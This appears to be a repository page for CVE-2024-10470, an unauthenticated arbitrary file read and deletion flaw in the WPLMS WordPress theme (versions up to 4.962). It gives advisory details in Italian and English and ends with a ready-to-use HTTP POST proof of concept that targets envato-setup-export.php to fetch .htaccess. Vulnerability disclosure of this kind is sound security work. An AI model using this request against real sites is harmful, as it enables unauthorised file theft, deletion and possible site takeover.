randomrobbiebf/cve-2024-10470WPLMS Sistema di gestione dell'apprendimento per WordPress <= 4.962 – Unauthenticated Arbitrary File Read and Deletion
WPLMS Learning Management System per WordPress <= 4.962 – Lettura e cancellazione arbitraria di file non autenticata
Il tema WPLMS Learning Management System per WordPress è vulnerabile alla lettura e cancellazione arbitraria di file a causa di una validazione insufficiente del percorso dei file e dei controlli dei permessi nelle funzioni readfile e unlink in tutte le versioni fino alla 4.962 inclusa. Ciò consente ad attaccanti non autenticati di eliminare file arbitrari sul server, il che può facilmente portare all'esecuzione di codice remoto quando viene eliminato il file giusto (ad esempio wp-config.php). Il tema è vulnerabile anche quando non è attivato.
Affected Theme: WPLMS Learning Management System for WordPress
Theme Slug: wplms
Affected Versions: <= 4.962
CVE ID: CVE-2024-10470
CVSS Score: 9.8 (Critical)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Researcher/s: Foxyyy
Fully Patched Version: 4.963
POST /wp-content/themes/wplms/setup/installer/envato-setup-export.php HTTP/1.1
Host: kubernetes.docker.internal
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
download_export_zip=1&zip_file=.htaccess